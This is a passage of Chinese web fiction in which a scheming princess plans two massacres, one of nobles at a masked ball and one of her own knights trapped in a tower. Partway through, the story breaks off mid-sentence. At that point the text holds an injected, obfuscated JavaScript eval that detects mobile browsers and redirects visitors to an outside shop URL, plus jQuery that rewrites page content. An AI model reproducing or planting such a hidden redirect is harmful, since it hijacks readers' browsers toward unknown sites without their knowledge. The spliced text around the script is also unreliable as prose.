那不勒斯的王宫,正在为一场即将到来的、被冠以“和平”之名的假面舞会,做着最后的准备。
宫廷的园丁们正在修剪着皇家花园里的玫瑰,确保它们能在舞会当晚,绽放出最娇艳的姿态。内务府的侍从们则忙着将一箱箱来自大陆东方的顶级葡萄酒,搬运至宴会厅的酒窖,他们的脸上,甚至带着一丝劫后余生的、对和平的期盼。就连空气中那股顽固的血腥味,似乎都被新换上的、华丽的鸢尾花帷幔所散发出的香气,冲淡了几分。
在所有不明真相的人眼中,那不勒斯的天空,仿佛真的要放晴了。
他们相信,他们那位仁慈、善良,甚至愿意为了和平而放弃王位的公主殿下,即将用她的牺牲,来终结这场险些将王国拖入深渊的内乱。
他们期待着一场盛大的、握手言和的舞会。
他们期待着一个崭新的、没有流血与纷争的黎明。
然而,他们谁也不知道。
就在这座被虚假和平所粉饰的宫殿最深处,在一个与所有光明与希望都隔绝的、冰冷的密室里,真正的“黎明”,正在以一种截然不同的、充满了死亡与寂静的方式,被它的缔造者,亲手描绘着最后的轮廓。
废弃的祈祷室内,月光依旧惨白得如同死人的骨灰,从破碎的彩绘玻璃窗中筛落,将这片被遗忘的空间,切割成一块块光怪陆离的、属于亡者的舞台。
鞠婧祎就站在这片惨白的光斑之中。
她没有穿那身象征着病弱与无助的纯白睡袍,取而代之的,是一袭紧身的、便于行动的黑色劲装,那冷硬的皮革光泽,与她那张毫无血色的脸,形成了一种诡异而和谐的统一。
她的面前,那张巨大的、由整块黑曜石打磨而成的圆桌上,摊着一张更加巨大的、用最细腻的羊皮纸绘制的王宫地图。
这张地图,就是“暗鸦”们用脚步、鲜血和无数个不眠之夜,为她们的主人绘制出的“上帝之眼”。上面用不同颜色的墨水,密密麻麻地标注着王宫内每一条密道的走向,每一个岗哨的换防规律,甚至每一个重要人物的府邸内,最隐秘的藏宝室和最薄弱的防御死角。
在这张地图面前,整座那不勒斯王宫,都像一个被剥去了所有外壳的、脆弱的沙盘模型,再无任何秘密可言。
刺客的首领冯薪朵,单膝跪在鞠婧P祎的身后,她的头颅深深垂下,呼吸平稳而悠长,像一尊融入黑暗的、沉默的雕像,静静地等待着主人的指令。
“时间,快到了。”
许久,鞠婧祎终于开口。她的声音,在空旷的祈祷室里激起阵阵冰冷的回音,不带任何感情,像两块冰块在相互碰撞。
“李斯特公爵和他那些愚蠢的盟友,应该已经在为他们的‘胜利’挑选礼服了。而我那位忠诚的骑士团长,恐怕也已经将他手下所有骑士的剑,都磨砺到了最锋利的程度,准备在舞会上,为我‘殉道’了。”
她的语气,像是在陈述一件与自己毫无关系的、甚至有些乏味的趣闻。
“他们都以为,自己是这场戏剧的主角。他们都以为,自己即将走向一个辉煌的、由自己亲手缔造的结局。”
鞠婧祎缓缓转过身,她那双冰冷的、深不见底的眸子,落在冯薪朵的身上,嘴角,勾起了一抹充满了残忍与嘲弄的微笑。
“所以,是时候了。”
“是时候,为我这些可爱的演员们,送上他们真正的、也是最后的剧本了。”
她走到冯薪朵面前,俯下身,用一种近乎于耳语的、充满了不容置疑的威严的口吻,下达了她最后的、也是最血腥的指令。
“第一步,宴会厅。”
她的手指,在那张巨大的地图上,轻轻点在了那座象征着王宫权力中心的、金碧辉煌的主宴会厅上。
“黄婷婷已经按照我的吩咐,以‘加强安保’为由,将宴会厅内所有的侍从、乐师,都换成了我们的人。她们将在那里,为客人们献上最‘热情’的服务。”
“而你,”鞠婧祎的目光变得愈发锐利,“你需要带领‘暗鸦’最精锐的主力,在舞会开始前,悄无声息地潜入宴会厅的每一个角落——横梁之上,帷幕之后,乐池之下,任何一个可以被隐藏的阴影,都必须有我们的眼睛和箭矢。”
“你们的任务,不是观赏。是等待。”
“等待我的信号。”
“什么信号?”冯薪朵第一次主动开口,她的声音依旧平稳,但其中蕴含的、对即将到来的杀戮的期待,却如同即将出鞘的毒刃,散发着危险的寒意。
“我的‘死亡’。”
鞠婧祎的回答,平静得可怕。
“当你们看到我,在李斯特公爵的‘吻手礼’下,‘中毒身亡’,被侍女们惊慌地抬入侧殿抢救时,那就是信号。”
“信号一旦发出,黄婷婷会立刻启动他早已布置在宴会厅四周的机关——那些伪装成装饰的巨型铁闸,将会瞬间落下,将整个宴会厅,变成一个密不透风的、华丽的铁棺材。”
“而你们,”鞠婧祎的眼中,闪烁着一种近乎于神明的、俯瞰蝼蚁般的冷漠,“就在那个时候,从你们的藏身之处现身。然后,用你们手中的弩箭,告诉那些还在为他们的‘胜利’而弹冠相庆的贵族们,这场盛宴的真正主人,到底是谁。”
她停顿了一下,用一种更加冰冷的、不带任何转圜余地的语气,补充了最后的四个字。
“一个不留。”
冯薪朵的眼中,闪过一丝狂热的光芒。她低下头,声音因为压抑的兴奋而微微颤抖。
“遵命,我的女王。那些肮脏的血,必将为您加冕的道路,铺上最华丽的红毯。”
“很好。”鞠婧祎满意地点了点头。
随即,她的话锋一转,手指在地图上缓缓移动,划过一道冰冷的弧线,最终,停在了王宫西侧,一个被特意用红色墨水标记出来的、孤零零的塔楼建筑上。
“但是,只清洗掉这些自以为是的蠢货,还不够。”
“我那不勒斯的王座,不需要任何多余的杂音。无论是来自敌人的,还是……来自‘盟友’的。”
听到“盟友”两个字,即便是冯薪朵,那始终如一的雕像般的姿态,也出现了一丝微不可察的僵硬。
她不明白。
她不明白,为什么在清洗完公爵派后,还要对付那些忠心耿耿的、誓死要捍卫公主的骑士团。
难道,他们不是“自己人”吗?
鞠婧祎仿佛看穿了她的心思。
她直起身,缓缓走到祈祷室那扇破碎的窗前,眺望着窗外那轮冰冷的、高悬于夜空之中的孤月。
“冯薪朵,你告诉我,”她没有回头,声音悠远而空灵,“一个合格的工匠,在用一把无比锋利的刻刀,雕琢完一件完美的作品后,他会如何处理那把刻刀?”
冯薪朵沉默了片刻,然后用她那属于刺客的、绝对理性的逻辑回答道:“将它清洗干净,涂上防锈的油,然后,放回刀鞘,锁进工具箱。等待下一次使用。”
“不。”
鞠婧祎缓缓地摇了摇头。
“你错了。”
她转过身,冰冷的目光落在冯薪朵的脸上,那眼神中,带着一丝对冯薪朵这份“天真”的、近乎于怜悯的嘲弄。
“一个真正追求完美的工匠,会选择……折断它。”
“因为他知道,这把刻刀太过锋利。它既然能创造出最完美的作品,就同样能在一瞬间,将这件作品彻底划破,留下无法弥补的瑕疵。”
“更重要的是,这把刻刀的身上,沾满了在雕琢过程中,不可避免会沾染上的、肮脏的木屑与尘埃。这些东西,会污染下一件作品的纯粹性。”
她缓缓地走到冯薪朵的面前,伸出戴着黑色丝质手套的手,轻轻抬起了冯薪朵的下巴,强迫她与自己对视。
“张语格和他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179200|196936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骑士团,就是这样一把刻刀。他们很锋利,很忠诚。但他们的忠诚,是愚蠢的,是盲目的。他们效忠的,不是我,鞠婧祎。他们效忠的,是那个早已被我亲手埋葬的、可笑的‘王室正统’,是那个代表着旧时代的、我父亲的影子。”
“我需要他们,来为我铲除李斯特公爵这个明面上的障碍。我需要他们的‘忠诚’,来为我血腥的清洗,披上一件‘正义’的外衣。”
“但是,当这一切都结束之后呢?”
鞠婧祎的嘴角,勾起一抹冰冷的、令人不寒而栗的微笑。
“一个手握重兵、功高盖主、并且还坚信着所谓‘旧时代道义’的骑士团长,你觉得,他对我这个亲手弑父、屠戮群臣的‘新女王’而言,是一件顺手的工具,还是一个新的、更难对付、也更具威胁的障碍?”
这番话,如同一把把淬了剧毒的冰锥,狠狠地扎进了冯薪朵的心脏。
她终于明白了。
她终于明白了,她的这位主人,究竟想要缔造一个怎样恐怖的、绝对的、不容许任何一丝杂质的王国。
那不是复兴。
那是,重建。
是在一片被鲜血彻底清洗干净的、寸草不生的废墟之上,建立起一座只属于她一个人的、绝对寂静的黑色丰碑。
“我明白了,主人。”
冯薪朵的眼中,所有的疑惑都已散去。取而代之的,是一种更加狂热、更加绝对的崇拜。
如果说,之前的她,只是将女王当成一个值得效忠的、英明的主人。
那么此刻,在她的眼中,鞠婧祎,已经是一位真正的、凌驾于所有道德与规则之上的——神。
而她,就是这位神明手中,负责清洗人间的、最虔诚的使徒。
“很好。”
鞠婧祎松开手,她很满意冯薪朵的“觉悟”。
她转身,重新走回那张地图前,手指,落在了那座孤零零的西侧城楼之上。
“所以,第二步,西侧城楼。”
“就在宴会厅的杀戮开始的同时,我需要你手下最得力的两个人——曾艳芬和赵粤,带领另一队刺客,去为我忠诚的骑士们,送上他们应得的‘奖赏’。”
“我已经以‘防止公爵派突袭’为由,将张语格和他所有的精锐,都骗到了那里。那座城楼,只有一个入口,和一个出口。它是一个天然的、完美的囚笼。”
“我需要你们,在他们因为听不到我的‘信号’而焦躁不安时,提前启动黄婷婷早已在那里布置好的陷阱——那些藏在草料堆里的引火装置,和那些伪装成排水管道的毒气喷口。”
“在他们因为大火和毒气而陷入混乱时,再用你们的弩箭,告诉他们,他们用生命所守护的‘正义’,是何等的可笑。”
鞠婧祎的声音,平静而冷酷,像是在安排一场与自己无关的、遥远的战争。
“我要让那座城楼,成为皇家骑士团的、最后的、也是最华丽的陵墓。”
“我要让‘忠诚’这个词,和他们那身可笑的白色铠甲一起,被烧成灰烬。”
“我要让整个那不勒斯都知道,旧的时代,连同它所有的英雄与信条,都已经,彻底地,死去了。”
指令,下达完毕。
整个祈祷室内,陷入了一片令人窒息的、充满了死亡气息的沉默。
两场即将同时上演的、针对那不勒斯王国所有武装力量的、单方面的屠杀,就在这间小小的、废弃的祈祷室里,被它的导演,轻描淡写地,敲定了所有的细节。
许久,冯薪朵才从那份巨大的、近乎于神谕般的指令中,回过神来。
她再次,深深地,向着鞠婧祎,低下了她那高傲的、属于刺客之王的头颅。
这一次,她的声音里,不再有任何属于人类的情感。
只有,对神明的、绝对的服从。
“是,我至高无上的,女王。”